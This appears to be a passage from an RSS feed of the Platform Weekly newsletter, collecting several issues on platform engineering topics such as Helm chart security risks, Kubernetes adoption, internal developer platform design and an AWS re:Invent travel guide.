How did you like this week's bonus platform weekly? We\u2019ve got so much happening in the community over the next few weeks. New certifications, some awesome new research, but most of all, PlatformCon is back (and ofc bigger than ever).\nI\u2019ve got another palette cleanser for us this week. Are your Helm charts putting you at risk?\nBut first,\n\n\n17% of security teams (so far) are shutting down all usage of AI for platform engineers. Yet, 90% report using AI daily. How is your security responding? Answer the State of AI Platform Engineering!\n\nWorkshops for PlatformCon Live Day NYC & Platform Live Day LDN just launched. Register ASAP as spots are limited!\n\nDid you know I\u2019ll be teaching two live courses in London?\nIs your Helm a risk?\n2 weeks ago, I read a post on Reddit detailing Microsoft\u2019s research on risks in public Helm charts. A huge issue considering it\u2019s basically the default package manager for k8s at this point (75% of us are using Helm according to the latest CNCF numbers).\nThis Tuesday, just a few weeks later, Nigel Douglas from Cloudsmith did an awesome community webinar (and article) explaining how to solve the exact problems identified by Microsoft.\nSo, let\u2019s talk risks.\n\n\nDefault configurations are often insecure, exposing services and granting overly permissive access (e.g., wildcard RBAC), leaving security tuning up to the user.\n\nSensitive data like credentials may be hardcoded or weakly encoded, risking leaks. I have seen far too many Helm charts storing tokens, API keys, even passwords directly in plaintext within config files\u2026\n\nCharts often bundle vulnerable dependencies, including containers or libraries, and can create \"dependency death loops\" that break deployments and widen the attack surface.\nThere are some hugely popular open source apps whose Helm charts are riddled with these issues\u2026\nSo what can you do? Simple answer, start by actually customizing the public charts to fit your orgs needs. Make sure you\u2019re storing and managing charts in trusted, version-controlled repos, and if you can only use certified sources. Plus actually validate and test your charts (ideally in an automated way through your CI/CD) to catch issues.\nThis isn\u2019t something to take only the simple answer, though.\nGo read Nigel\u2019s 7-step process to making sure you don\u2019t have insecure Helm charts that blow everything up (and prob get you fired).\nWhat are you waiting for?]]>\n  \n  Thu, 14 Aug 2025 00:00:00 GMT\n\n\n  Platform engineering is eating the world\n  https://platformweekly.com/issues/platform-engineering-is-eating-the-world\n  https://platformweekly.com/issues/platform-engineering-is-eating-the-world\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly skip off the platform engineering stone. Every week, we dive into what\u2019s hot in the platform engineering universe from best practices, lessons, to community news.\nWhat\u2019s hot?\n\n\n25% say (so far) their orgs have no strategy for AI. Answer the State of AI platform engineering and share your answers.\n\nThe next Platform Engineering Practitioner Certification course is filling up!\n\nWe\u2019ve got some awesome community events coming up in the next few weeks.\nPlatform engineering is eating the world\nYou might\u2019ve noticed me use this phrase \u201cplatform engineering eats the world\u201d more and more in my talks, articles, and in this newsletter over the last few months. If you\u2019ve taken one of our certification courses, you\u2019ve definitely heard me say it nonstop.\nThough the phrasing is inspired by Kaspar von Gr\u00fcnberg\u2019s article on the community blog from a few months ago (and ofc from Marc Andreessen\u2019s legendary article), the message comes from what I am seeing all around me while talking to you, helping orgs with their platforms, and chatting with platform engineering ambassadors.\nThe power (and challenge) of platform engineering is the way it can touch everything. It can simultaneously improve developer productivity through better standardization and dev self-service, and it can improve security or better enable AI and 100 other use cases.\nThat makes setting the scope of your platform extremely hard, but also means the potential benefits and ROI are insane.\nIt is also no surprise that platform initiatives at orgs are slowly absorbing more and more departments around them.\nWhether it is platform engineer leads seeing how easy it is to integrate security directly into the platform (the very first \u201cSecurity Platform Engineers\u201d are already working though that isn\u2019t their official title yet) or the huge changes to DevEx, Infrastructure, and even data.\nPlatforms are also absorbing AI initiatives. As it becomes more and more clear how much impact platforms can have on furthering and driving AI through the enterprise (not to mention how powerful AI can be for improving the platform).\nWe are in the early stages still. But in our cloud native world - platform engineering is definitely starting to eat.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Top 5 platform engineering memes in 2024\n  https://platformweekly.com/issues/top-5-platform-engineering-memes-in-2024\n  https://platformweekly.com/issues/top-5-platform-engineering-memes-in-2024\n  \n  \nHey there! Welcome to Platform Weekly. It\u2019s our first newsletter of the year, and while we\u2019re still in those holiday blues. Let\u2019s relax with something simple and fun. You know we love memes here in Platform Weekly. These are some of my favourites (and most successful) from the last year.\nP.S. Haven\u2019t registered for the Platform Engineering Fundamentals course starting on January 16th? It\u2019s filling up!\nTop 5 memes from 2024\nThese are 5 of my favorite memes I shared on social media, or in Platform Weekly through 2024. Which do you like best?\nReply to this newsletter with a platform engineering meme,  the funniest meme will win a spot in the upcoming Fundamentals course!\nIt's official: VMware doesn't care about you\nplease just let us code\nPlatformCon is going LIVE in London\ud83d\udc82\nLearn platform engineering\nPlatform Engineer courses & Kelsey Hightower Q&A!?]]>\n  \n  Sat, 25 Jan 2025 00:00:00 GMT\n\n\n  Cloud native to AI native with platform engineering\n  https://platformweekly.com/issues/cloud-native-to-ai-native-with-platform-engineering\n  https://platformweekly.com/issues/cloud-native-to-ai-native-with-platform-engineering\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly ray of platform engineering sunshine. Every week, we dive into another realm of the platform engineering universe. This time on an underappreciated, but truly gamechanging topic - platform engineering and AI native infrastructure. Let\u2019s get crunchy.\nBut first,\n\n\n82% (so far) say their orgs are pushing AI. But only 50% share they have initiatives direct from the C-suite. What does your world look like? Answer the State of AI platform engineering\n\nPlatformCon LDN & NYC agenda is filling up. What speaker are you most excited for?\n\nThis is the AI platform engineering whitepaper that inspired this newsletter\nCloud native to AI native with platform engineering\nI\u2019ve spent a lot of time in the last few months arguing that platform engineering and AI are the key symbiotic relationship of the next 5 years. AI will accelerate and empower platform engineering, and platform engineering will accelerate and empower AI.\nIt\u2019s easy to understand how chatbots and code assistants might improve platform engineering, but I get a LOT of questions on the reverse. How does platform engineering accelerate AI?\nWell, Kevin Cochrane from Vultr just published a banger one-two punch community webinar & article breaking down some perfect examples of how platform engineering:\n\n\nAccelerates AI delivery with reusable infra templates (golden paths) that simplify GPU setup and let developers focus on models, not environments.\n\nEnables secure, scalable AI across hybrid and multi-cloud with composable, policy-governed infra.\n\nTurns infra into a product, giving platform teams control while powering up engineers with fast, self-service access to AI-ready resources.\nIf you\u2019ve been in tech for a while, you know how seismic the changes were in 2001, and 2013. I\u2019m a strong believer (and it seems Kevin is too) that we\u2019re in the same paradigm shift now.\nAnd like back then, you aren\u2019t going to be able to just float along with it. We will need to adapt to AI native in the same way we did to cloud native.\nTo survive in the AI native era, platform teams need to redefine how infrastructure is designed, deployed, and delivered, and turn infra from a bottleneck into an accelerant.\nAnd platform engineering is the way to do it.]]>\n  \n  Thu, 14 Aug 2025 00:00:00 GMT\n\n\n  When NOT to use K8s \u274c\n  https://platformweekly.com/issues/when-not-to-use-k8s\n  https://platformweekly.com/issues/when-not-to-use-k8s\n  \n  \n\ud83e\udd50 Hey there! It\u2019s Platform Weekly\u2026 We\u2019re the Geico of platform engineering - 3 minutes can save you 100% or more time wasted reading irrelevant news.\nSharing is caring. \ud83d\udc9e Get your friends in on the platform love by sharing this newsletter via email or social.\nShare | Tweet | Forward\nCan platform engineering get us through tough times?\nJennifer Riggins, Tech Culture Journalist\nUnfortunately, tech layoffs continue. We are seeing two ways it is affecting platform teams. Teams that have failed to get internal users on board or those that are unable to measurably express their connection to profit are sadly part of that first or second round of cuts. On the flip side, we are seeing more and more platform teams making the cut as they help app teams and whole organizations do more with less. \nAs tech faces a downturn, platform engineering presents an opportunity to decrease cognitive load, cut cloud costs, and boost delivery speed. That\u2019s the theme of my new piece in Lead Dev.\nIn order to survive \u2014 and help other teams thrive \u2014 platform engineering has to be more than a platform, control plane or developer portal. It must be a socio-technical mix of people, processes and tools that connects technical teams to business value. Platform engineering may follow similar patterns, but it is unique to each organization, as it looks to solve the distinct toil and repeated work across teams and take care of things like cloud deployments and security, enabling app teams to focus solely on the end users. It also offers a way to align technical and business goals, including cost cutting initiatives.Read the full article here.\nDon't use k8s in these situations...\nGuest Author\nOne of my careers has evolved into providing guidance, technical architecture and design, and hands-on implementation and delivery for some of the most challenging and demanding computer environments out there.\nA big part of that journey has been largely in parallel with the rise and adoption of Kubernetes as a radically different way to think about digital infrastructure. In addition to many satisfying victories, I\u2019ve also encountered a number of situations where Kubernetes has done more harm than good or even been the wrong choice. Here\u2019s when you should avoid adopting Kubernetes:\nIf your application isn\u2019t ready for it\u2026\nLet\u2019s face it, not every application resembles a clean 12-factor architecture. Sometimes existing legacy investments can pose significant challenges, such as: \n\n\nlicensing agreements that only allow container execution on effectively already licensed legacy servers\n\nlarge databases that were not designed with automation or containerization in mind (you don\u2019t have to containerize the database!)\nIf the application in question cannot handle multiple concurrent users as a consequence of design, a k8s adoption will quickly prove costly and unsuccessful. If the container images being scheduled are over 4gb in size, very quickly the benefits promised by resilience and uptime may be constrained severely by the amount of data that needs to move. \nAlways include a holistic review of application readiness when considering an infrastructure modernization upgrade.\nIf you lack operational expertise\u2026\nKubernetes as a technology stack combines some of the most advanced skill sets typically reserved for an operations role (or perhaps three) into a very powerful package. It is often not clear from a simple YAML manifest what an operator may need to know to be successful at scale. \nIt is rare that a developer is well versed in measuring virtual network bandwidth, performing packet captures and analysis, understanding CPU core load average, or other advanced network engineering topics (such as VXLAN tunnels, or even BGP integration depending on the desired CNI overlay). \nAdditionally, if not directly outsourced to a cloud provider (and subsequently, their operational team), systems administration and hardening knowledge and skills in SElinux integration, SEComp/AppArmor tuning, eBPF module management, or understanding kernelspace vs userspace and distributed architecture. Kubernetes is very capable of encapsulating every discipline above, and even more. Entrust to staff accordingly.\nWith thoughtful consideration, an appropriate workload, enough expertise for operations and maintenance, and well-defined processes, Kubernetes can be a powerful tool that unlocks new levels of organizational productivity and scale. \nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Check out this great step-by-step guide to a DevOps CI/CD project using Docker, Jenkins, Ansible & Minikube for PoC/Development.\n\ud83e\udd50 Here\u2019s one take on how to make being on-call suck less.\n\ud83e\udd50 Do you think government should regulate AI? OpenAI\u2019s CEO says yes.\n\ud83e\udd50 Have we found a better way to understand and measure DevEx?\n\ud83e\udd50 PlatformCon 2023 is almost here, and so are more opportunities to connect with the platform engineering community.\nJoin us in-person in London, San Francisco, or Austin. Or tune in virtually to one of our pre-kickoff events to get the scoop \ud83c\udf68 on what\u2019s hot in platform engineering. Check out our satellite events here.\n\ud83e\udd50 DevOps burnout is real, y\u2019all.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Tue, 23 May 2023 00:00:00 GMT\n\n\n  Did you see McKinsey's new platform blueprints?\n  https://platformweekly.com/issues/did-you-see-mckinseys-new-platform-blueprints\n  https://platformweekly.com/issues/did-you-see-mckinseys-new-platform-blueprints\n  \n  \nHey there! \ud83e\udd50 It\u2019s Platform Weekly, the platform engineering newsletter that\u2019s as as satisfying as hitting a hole-in-one on the mini-golf course. Let\u2019s get bakin\u2019\nDon't miss the first-ever platform engineering blueprints\nJust a few months ago, if you wanted to build an Internal Developer Platform (IDP), you had to learn by doing. There was no tried and tested blueprint to follow \u2013 just the examples of big companies with way more money and resources than you. This made it hard to build platforms in an efficient, reliable way.\nThe team at McKinsey changed the game when they shared the first-ever reference architecture for Internal Developer Platforms at PlatformCon 2023. They took what they learned from hundreds of real-life setups and turned it into standard patterns that anyone can follow. \ud83e\udd2f Crazy cool, right?\nLet\u2019s take a look.\nAll of the tech and tools that can go into your IDP can be clustered into five main planes of functionality:\n\n\nThe Developer Control Plane level is where the primary interfaces for developers live. Good platforms let developers decide which interface to use on a workload-by-workload basis and keep existing workflows intact where possible by defaulting to code.\n\nThe Integration And Delivery Plane level has the tools that build, store, configure, and deploy requests from the developer control plane. \n\nThe Resource Plane level contains all resource components necessary to run the app. The resources are configured as code using Terraform.\n\nThe Monitoring And Logging Plane provides real-time metrics and logs for apps and infrastructure. \n\nThe Security Plane manages secrets and identity to protect sensitive information.\nThe image above shows what an AWS-based setup might look like. Organizations using this reference architecture should use this as a starting point and seek to incorporate whatever components are already in place. My team at Humanitec also developed reference architectures for GCP and Azure based on McKinsey\u2019s model \u2013 highly recommend checking those, also!\nShare | Tweet | Forward\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\u064eQuick Bites\n\n\nGenerative AI \ud83e\udd1d causal AI\n        Transforming DevOps innovation\nBecause ChatGPT won\u2019t transform DevOps on its own, at least according to this Forbes opinion.\n\n\nAn interesting podcast about the platform engineering pitfall you aren\u2019t looking out for (yet).\n\n Something for your professional development. What does it mean to be a senior software engineer in big tech?\n\n\nTrying to wrap your head around the Platform Tooling Landscape? The newest version on the updates platformengineering.org is great if you\u2019re in a pinch.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Mon, 11 Sep 2023 00:00:00 GMT\n\n\n  AWS re:Invent travel guide\n  https://platformweekly.com/issues/aws-re-invent-travel-guide\n  https://platformweekly.com/issues/aws-re-invent-travel-guide\n  \n  \nIt\u2019s that time of year, friends. And no, we\u2019re not talking about Christmas markets, mulled wine and dubiously cooked festive sausages, that\u2019s next week! Today we\u2019re talking AWS re:Invent.\nAs this is my second year, I\u2019m no longer a total newbie. So in this newsletter, I wanted to share with you my list of must see talks, events, and outside the conference things to do!\nBookmark this issue as I\u2019m going to break down tips per day, starting with pre-conference events like Midday Madness, before getting into things like Re:Play and other bits!\n\u200d\nBefore you leave & packing list\nWhilst it looks a bit warmer for next week right now, it is typically between 56\u00b0F / 13\u00b0C in the day and down to 35\u00b0F / 2\u00b0C at night, definitely jacket weather.\n\n\nSolid walking shoes. I'm literally taking my hiking boots. You\u2019ll walk a lot.\n\nSnacks. Food is provided, but they\u2019re 102% corn syrup (you\u2019ve been warned).\n\nA solid portable battery pack + a large water bottle.\n\nPack fewer t-shirts than you need if you plan to get swag. \n\nGo through social media and DM those you want to hangout with, because when things get going, you\u2019ll have zero time.\n\nPre-register for side events by looking at conferenceparties.com (don\u2019t forget to sign up to the now legendary House of Kube on Monday night at Area15!)\nSunday & Monday: The conference kick-off\n\n\nIf you land early, take a walk at Red Rock Canyon which is only a 20-30 minutes drive. You\u2019ll need to rent a car though, as Uber\u2019s are not possible without phone signal.\n\nWhen jet lag has you up at 5am and you\u2019re not in the main hotels, head over to the Venetian with your badge on, you\u2019ll be surprised how many people are around. There\u2019s many morning sessions like yoga, breakfasts and even a 5K run on the agenda.\n\nDo a reconnaissance walk, because the conference is huge. Key things to find are areas like the expo hall, certified lounge, food courts and any hotel bridge connections, the venue is a total labyrinth. I\u2019ll also be on Ona booth #632 in the expo, so come say hi!\n\nMidday Madness at Caesars Forum is \u2018the unofficial kick-off to re:Invent\u2019. It runs both Sunday (12pm-8pm) and Monday (8am-6pm). On Sunday there\u2019s the Road to re:Invent hackathon where 50 developers compete for $100K. Free food, drinks, and swag.\nTuesday & Wednesday: Main conference\n\n\nAt 8am-10:30am Tuesday everyone will head to Matt Garman's keynote as this is where all the big service announcements come. Expect queues of ~2hrs for the main keynote room, or 1hrs for the overflow ones. My suggestion instead is to catch the stream and instead make use of the \u2018hallway track\u2019, sessions or expo. Consider also the EKS and Kubernetes sessions like at AWS containers Kiosk and Developers Pavilion.\n\nAt 5pm-8pm Tuesday, Sam Barlien & the Platform Engineering community are hosting a roundtable discussion. 40 platform engineers together for group platform therapy.\n\nAt 5:30pm-8:30pm, there is a Platform Engineering community workshop, \u201cYou have Terraform. How do you orchestrate it?\u201d\nThursday & Friday: Conference wrap up\nWeezer playing re:Play 2024\n\n\nThe re:Play party is on Thursday night @ 7:30pm in the Las Vegas Festival Grounds. Last year Weezer were playing and it was the absolute highlight of the week for me. The acts for this year will be announced during re:Invent.\n\nThe iconic Werner Vogels Keynote is at 3:30pm-4:30pm. This is always more of a developer-focussed, not so service-announcing session to close out the week. It\u2019s typically one of the more entertaining, casual keynotes. \n\nIf you\u2019ve got some time to kill on your last day, Fremont Street downtown is always popular. Last year I also hit up The Neon Museum which was very \u2018Vegas\u2019 and an enjoyably calm trip away from the busy strip.\nCome say hi, and see agents update 1000 repos at once\nI\u2019ll be at the Ona booth. Swing by to see a demo of Automations updating 1000\u2019s of Backstage configurations simultaneously using an orchestrated fleet of AI software engineers. \nTo help you find the booth I used Nano Banana to create a hyper-realistic mockup. Failing that, here\u2019s a conventional map (booth #632). Or just look for the Hawaiian shirts!\nIt\u2019s been a fun year of guest writing for Platform Weekly. My favorite episodes this year were why we left Kubernetes and why you should mandate tooling if you want to go back and check those out. Final reminder to bookmark the newsletter to come back to it in the week.\nSee you in Vegas !]]>\n  \n  Tue, 02 Dec 2025 00:00:00 GMT\n\n\n  Platform got haters? You might not be doing anything wrong.\n  https://platformweekly.com/issues/platform-got-haters-you-might-not-be-doing-anything-wrong\n  https://platformweekly.com/issues/platform-got-haters-you-might-not-be-doing-anything-wrong\n  \n  \nHey there! \ud83e\udd50 It\u2019s Platform Weekly, where we dive into platform engineering like a kid in a ball pit \u2013 cool, calm, and with no fear. Let\u2019s get bakin\u2019\nDid your platform engineering talk not make the cut for KubeCon? \u2702\ufe0f Give it the spotlight it deserves by sharing it with the #1 global community of platform practitioners instead.\nPeople hate your platform? You might not be doing anything wrong.\nIf you\u2019re starting out on your platform engineering journey, you cannot and should not try to please everybody. Here\u2019s why:\n1\ufe0f\u20e3 It\u2019s impossible to cover every technical case.\nThe world of cloud-native is too differentiated and crowded for your platform to cover all edge cases. Building a platform that meaningfully covers the K8s ecosystem is challenging enough. Weaving in serverless, VMs, and all of your legacy tech is impossible. \nThe same is true for resources. Is it great to have every new AWS service on your platform? Maybe in theory. But this would be impossible to maintain at high quality and with good DevEx.\nIf your developers want SLA-backed, supported resources, they\u2019re going to have to stay on your golden paths. Don\u2019t over-optimize for the 20% of edge cases at the expense of the other 80% of use cases.\n2\ufe0f\u20e3 You\u2019ll always have developers who hate your platform.\nIt sucks, but it\u2019s true. Even if they don\u2019t tell you, maybe 15-25% of your developers may still boycott you and your platform efforts. More often than not, they\u2019ll be juniors (or, more dangerously, juniors who think that they\u2019re senior). They haven\u2019t seen shit hit the fan at speed and scale.\nDon\u2019t spend all your time trying to convince these folks. Let them deviate from your golden paths, and make sure that they know they\u2019re on their own.\nTry this instead \ud83d\udc49 The most effective way to drive platform adoption is by investing in a dedicated product manager. A platform product manager can help translate conflicting perspectives and feedback into an actionable set of priorities. This way, you know that you\u2019re building a great Internal Developer Platform for all of your users, not just a vocal minority.\nShare | Tweet | Forward\n\u200d\n\u064eQuick Bites\n\n\nMcKinsey stirred up some controversy when they published this report on how to measure software developer productivity. Gergely Orosz and Kent Beck published a great article explaining why they think McKinsey\u2019s framework could set software engineering organizations back and offer a different approach.\n\n\nAnd another great take on measuring developer productivity from Abi Noda:\n\n\nIt isn\u2019t SRE vs. platform engineering, it\u2019s SRE and platform engineering. Here\u2019s how platforms can take SRE to the next level.\n\nBen Voss created this comprehensive guide to value stream mapping for platform product managers.\n\n\u201cI\u2019ve been writing software for 25 years, and nothing renders a software team useless like Scrum does.\u201d\n\n\nA few weeks ago, HashiCorp\u2019s move to a Business Source License (BSL) set off a big conversation about the future of open source. The OpenTF Manifesto emerged as prominent opposition to HashiCorp\u2019s decision, but not everyone is on board. One organization explains why they are not supporting OpenTF.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Mon, 11 Sep 2023 00:00:00 GMT\n\n\n  AKS LTS For Kubernetes\n  https://platformweekly.com/issues/aks-lts-for-kubernetes\n  https://platformweekly.com/issues/aks-lts-for-kubernetes\n  \n  \n\ud83e\udd50 Hey there! It\u2019s Platform Weekly, the newsletter that makes platform engineering as fun as a weekend in Vegas. What happens here, stays here. Let\u2019s get bakin\u2019\nWant more Platform Engineering and DevOps news, analysis, and resources? Consider signing up for a newsletter from our friends over at The New Stack. They have daily and weekly newsletter options to keep devs, engineers, and the cloud native community in-the-know.\nAKS LTS for Kubernetes\nFawad Khaliq, Founder and CTO at Chkk\nAKS launched a Long Term Support (LTS) train for its k8s releases. This is splendid and I urge EKS and GKE to follow suit. AKS also launched Cluster Auto-Upgrades, similar to GKE Autopilot. This will definitely help with some of the k8s upgrade pains that I highlighted in my last blog.\nSince no good deed should go unpunished, let me also enumerate a few things that won\u2019t be fixed with LTS support and auto-upgrades.\nYour (SRE/DevOps teams) still own the layers on top\nLTS and auto-upgrades will only focus on nodes, control planes, and managed services from each cloud. From the cloud substrate, your add ons (load balancer, DNS, monitoring, etc,) are the same as any other app\u2026 but you know they aren\u2019t. KubeCon was rife with stories on how teams have tried and failed at auto-upgrading these components. (I\u2019ll share some of these stories in a follow-up blog)\nUpgrade workflows contain business logic\nEach upgrade\u2013even inside the same company\u2013is different from the next, and not just because you are going from dev > staging > prod route. You need to understand applications and their business constraints before you can bump an add on or an application version, let alone upgrade the entire cluster. Customers have told me firsthand about hacks they have built to stop Autopilot upgrades, as it\u2019s treating everything inside a cluster as cattle, which is never true.\nLTS will make k8s stacks more brittle\nRegular upgrades, despite being super painful, have the upside of pulling in new patches (security fixes, features, performance optimizations, etc.) which will happen at a much slower cadence in LTS trains.\nTL;DR: It\u2019s great to see this is happening (thanks AKS!) but the upgrade pain is here to stay for the foreseeable future. Managed add-ons from cloud providers will help here but there won\u2019t be enough of those in the short-/medium-term. The only single owner responsible for making sure all the layers (cloud substrate, clusters, add-ons, applications) work seamlessly is you (SRE/DevOps teams). I\u2019d love to hear about your experiences with auto-upgrades and how you\u2019re thinking about operationalizing LTS releases.\nConnect with Fawad on Twitter and LinkedIn for more K8s news and updates.\nShare | Tweet | Forward\n\u200dShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Not only can Internal Developer Platforms improve DevEx, they also have measurable benefits for the businesses that invest in them. This article is a must-read for anyone who wants to make the business case for their platform.\n\ud83e\udd50 Speaking of making the business case for your platform, an oldie but a goodie. The first step to successfully building your platform is building it together.\n\ud83e\udd50 The folks at Cloudknit shared their platform engineering challenges and solutions.\n\ud83e\udd50 This DevOps engineer believes every DevOps engineer needs ChatGPT in their toolkit.\nThe biggest platform engineering event of the year is almost here!\n2 days. 5 topic tracks. 20k platform engineers. 150+ talks. All on one virtual stage this June 8/9. Register now.\n\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 22 Jun 2023 00:00:00 GMT\n\n\n  Design principles for successful platforms\n  https://platformweekly.com/issues/design-principles-for-successful-platforms\n  https://platformweekly.com/issues/design-principles-for-successful-platforms\n  \n  \nHey there! It\u2019s Platform Weekly, the #1 doctor recommended source for your platform engineering needs. Let\u2019s get bakin\u2019 \ud83e\udd50 \nDesign principles for successful platforms, according to top engineering orgs\nIn my time researching and talking to hundreds of platform teams in the community, I\u2019ve noticed that all successful Internal Developer Platforms (IDPs) follow similar design principles. McKinsey\u2019s IDP reference architectures (which I shared in last week\u2019s newsletter) were informed in large part by these same principles, so I recommend learning (and following) them\ud83d\udc47\n1\ufe0f\u20e3 Prioritize your users. Developers are your platform\u2019s most important customers, so do what it takes to deeply understand their workflows and pain points. Keep the conversation going by involving users in the design, prioritization of features, and testing. This is how you ensure the platform is fully self-service and usable.\n2\ufe0f\u20e3 Run your platform like a start-up. You\u2019ll want a small central team that truly owns the platform and is responsible for marketing it. And (don\u2019t forget this bit) they\u2019ll need the resources to make it all happen.\n3\ufe0f\u20e3 Build golden paths, not golden cages. If you think forcing developers to use your abstractions is going to work, you\u2019re 100% wrong. And you\u2019ll create a ton of security vulnerabilities in the process.\n4\ufe0f\u20e3 Drive standardization by design. Platform engineers should define how to vend resources and configuration so developers can self-service the IDP with confidence that the result is secure, compliant, and well-architected.\n5\ufe0f\u20e3 Implement Dynamic Configuration Management. Dynamic Configuration Management slashes config complexity and enforces standardization by continuously generating app and infrastructure configs with every. single. deployment. \n6\ufe0f\u20e3 Let developers decide on their platform interface. IDPs should never break developers\u2019 workflows or (try to) force them to use a specific interface. Instead, they use a code-based workflow by default, with the option to use a UI, CLI, or API.\n7\ufe0f\u20e3 Keep code as the single source of truth. When everyone is working from the same version, the risk of errors is minimized.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\u064eQuick Bites\n\n\n\u201cStill using story points? Tired of arguing about if the defects in this release are enhancement requests or not? Just fed up with poor quality? \u2018Code harder\u2019 doesn\u2019t fix it.\u201d Bryan Finster shared how his team found a solution in a 5-minute read you won\u2019t want to miss.\n\nDr. Milan Milanovi\u0107 shared what he thinks a DevOps engineer\u2019s roadmap should look like in this viral tweet. What do you think of his picks?\n\n\nI enjoyed this article about how DoorDash migrated from StatsD to Prometheus, particularly because it discusses how engineering organizations respond when legacy infrastructure fails to adequately scale alongside the business.\n\nFor the folks working on Slack\u2019s platform, the key to improving developer experience was \u201capproaching challenges with the openness and curiosity of a beginner.\u201d The lessons shared in this TNS article definitely apply to Internal Developer Platforms, also.\n\nA friendly reminder to invest in life outside of work. Platforms can only do so much to prevent burnout. \nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Mon, 11 Sep 2023 00:00:00 GMT\n\n\n  Do you really need a product manager for your platform? \ud83e\udd14\n  https://platformweekly.com/issues/do-you-really-need-a-product-manager-for-your-platform\n  https://platformweekly.com/issues/do-you-really-need-a-product-manager-for-your-platform\n  \n  \nHi there,\nI spent all of last week on cloud native Twitter so you don\u2019t have to. \ud83d\ude09\nLet\u2019s get bakin\u2019.\nDo you really need a product manager for your Internal Developer Platform?\nThe short answer is yes. Platform as a product and product management go hand-in-hand.\nLike any other product, platforms are optional to use, carefully designed to make using them easier and evolve as technology changes. As such, it\u2019s important to apply the same principles and processes to platforms as you would to products.\nPMs drive user research, build trust with your customers (the developers, ofc), and ensure that your platform team is receiving reliable feedback on the product.\nBut Luca, you say, we don\u2019t need a PM. \nI\u2019ve heard that before, among some other reasons organizations give for not hiring a PM. Here\u2019s my take:\n1. \u201cPMs are too expensive\u201d\nBut they\u2019re much cheaper than building a platform your developers don\u2019t want or won\u2019t use.\nIf you think your PM won\u2019t be effective, it\u2019s time to restructure your project management, not give up entirely.\n2. \u201cOur engineering managers can do it instead\u201d\nThis works in some situations, but not all. Engineering managers are usually focused on getting their projects completed on time and up to standard. It\u2019s not the same as a role devoted to understanding and meeting your customers\u2019 needs.\n3. \u201cWe can just mandate usage and not worry about it\u201d\nTrust me, you\u2019ll end up worrying about other things.\nDevelopers will resent being forced to use a platform, especially if they believe their needs weren\u2019t considered or prioritized when it was made.\nThey might also decide to continue using their own tools and solutions anyways, creating \u201cshadow infrastructure.\u201d When this happens, your platform is no longer providing value and you\u2019re opening yourself up to more security risk to boot.\n4. \u201cThe platform team already knows what developers need\u201d\nDo you really, though? \ud83d\ude43\nUnless you\u2019re a mind reader, you\u2019ll want to do user research to really understand your developers.\nKnowing the problem and having a solution isn\u2019t enough. You have to know how your solution can make your developers\u2019 lives easier (if it does at all)\nDon\u2019t do this work, and you\u2019ll wind up with features folks don\u2019t need and won\u2019t use.\n\ud83e\udd50 Observability is gaining traction. But what does \"observability\" actually mean? Hashicorp SRE Dan Slimmon writes:\n\nEverybody wants to build observable systems, then make their systems more observable, and then get some observability into their observability so they can observe while they observe.\nIncoherent, right? In this article, Dan proposes one more concrete definition.\n\ud83e\udd50 PlatformCon 2022 proved once more the growing popularity of Platform Engineering. Aeris Stewart highlights the key takeaways from the conference in this article written to The New Stack.\n\ud83e\udd50 If you are a member of the Platform Engineering community, this post by Gartner's Research VP Manjunath Bhat will brighten up even the \ud83d\udca9-iest day. Platform Engineering is now officially helpful for improving developer experience \ud83d\udc47 Big day for the platform engineering space!\n\ud83e\udd50 Calling all Product Managers! Looking for handy resources? Sarah Tolle did some homework \ud83d\udcda for y'all and listed 13 top product management blogs and websites of 2022.\n \ud83e\udd50 And as said last time, no newsletter is complete without a meme \ud83d\ude09\nAnd that's it for issue #2. Hope you found it useful (if so, share it with friends\ud83d\udc47).\nThis is a community-driven newsletter, so if you have anything \ud83d\udd25 to share from the cloud native world, send it our way. You can collaborate with us here.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  You need to start mandating your tooling\n  https://platformweekly.com/issues/you-need-to-start-mandating-your-tooling\n  https://platformweekly.com/issues/you-need-to-start-mandating-your-tooling\n  \n  \nIn the bustle of a cafe in the Excel Centre at KubeCon in a conversation about platform trends I said: \u201cplatform leaders should be mandating far more than they currently are\u201d. The conversation was with Daniel Bryant. \nI remember his face staring at me as if to say: \u201cThat\u2019s very bold\u201d. \nAnd he\u2019d be right (or at least his facial reaction was). It is bold. \nIn the platform space we\u2019ve been repeating mantras to each other like \"our developers should choose their tools\" and \"we shouldn't mandate\". But with such soft conviction all it takes is one or two vocal developers to complain and our platform project is halted or even derailed. \nAnd it\u2019s these cautious platitudes that are likely undermining your platform success. \nConviction is the fuel that drives meaningful progress. I've seen this first-hand in my own transition from engineering to product, and I\u2019d like to take this newsletter to make my case. \nHopefully you (and Daniel) will not think I\u2019ve entirely lost my mind by the end! \nTop-down versus bottoms-up is a \u2018moot point\u2019\nIt\u2019s long been a topic of conversation that adoption of platform tooling is a huge problem. We all know it by now. Conversations usually centre on a dichotomy where it\u2019s either:\n\n\nTop-down - We are \u2018forcing\u2019 developers to use hideous enterprise tools leadership chose after a round of golf with a charismatic sales rep. We see top-down mostly as \u201cselling out\u201d where our fellow developers will never forgive us for such heresy. \n\nBottoms-up - Is the more romantic view of the world that good tools merely emerge and developers will merely adopt them. We 